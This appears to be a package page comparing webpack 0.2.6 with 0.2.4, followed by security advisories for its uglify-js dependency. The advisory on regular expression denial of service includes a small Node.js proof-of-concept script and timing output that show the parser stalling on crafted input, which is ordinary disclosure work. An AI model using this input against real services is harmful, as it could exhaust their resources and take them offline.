Webpack version 0.2.6 introduces notable changes compared to its predecessor, version 0.2.4, impacting developers utilizing this module bundler. Both versions remain true to Webpack's core purpose: efficiently packaging CommonJS modules for browser environments, facilitating codebase splitting into on-demand loading bundles.
The primary difference resides in the dependency list. Version 0.2.6 incorporates "vm-browserify" and "http-browserify" as both dependencies and *optional* dependencies. This suggests enhanced compatibility or extended functionality related to emulating Node.js core modules within the browser. Developers working with modules requiring these features will likely find version 0.2.6 more suitable, potentially simplifying integration by providing these browser-compatible shims out-of-the-box.
The shift also implies the potential for improved handling of modules directly dependent on Node.js's "vm" and "http" functionalities, offering a smoother transition for developers migrating server-side code or utilizing libraries that leverage these modules. While version 0.2.4 remains a solid choice for projects without reliance on those Node.js features, version 0.2.6 subtly expands Webpack's capabilities, catering to a wider range of development needs, specifically by addressing common challenges in adapting Node.js-centric code for the web. The core dependencies like "esprima", "sprintf", "optimist", and "uglify-js" remain consistent, suggesting stability in the fundamental module parsing and optimization processes. Both versions offer a solid foundation for managing JavaScript dependencies.
All the vulnerabilities related to the version 0.2.6 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.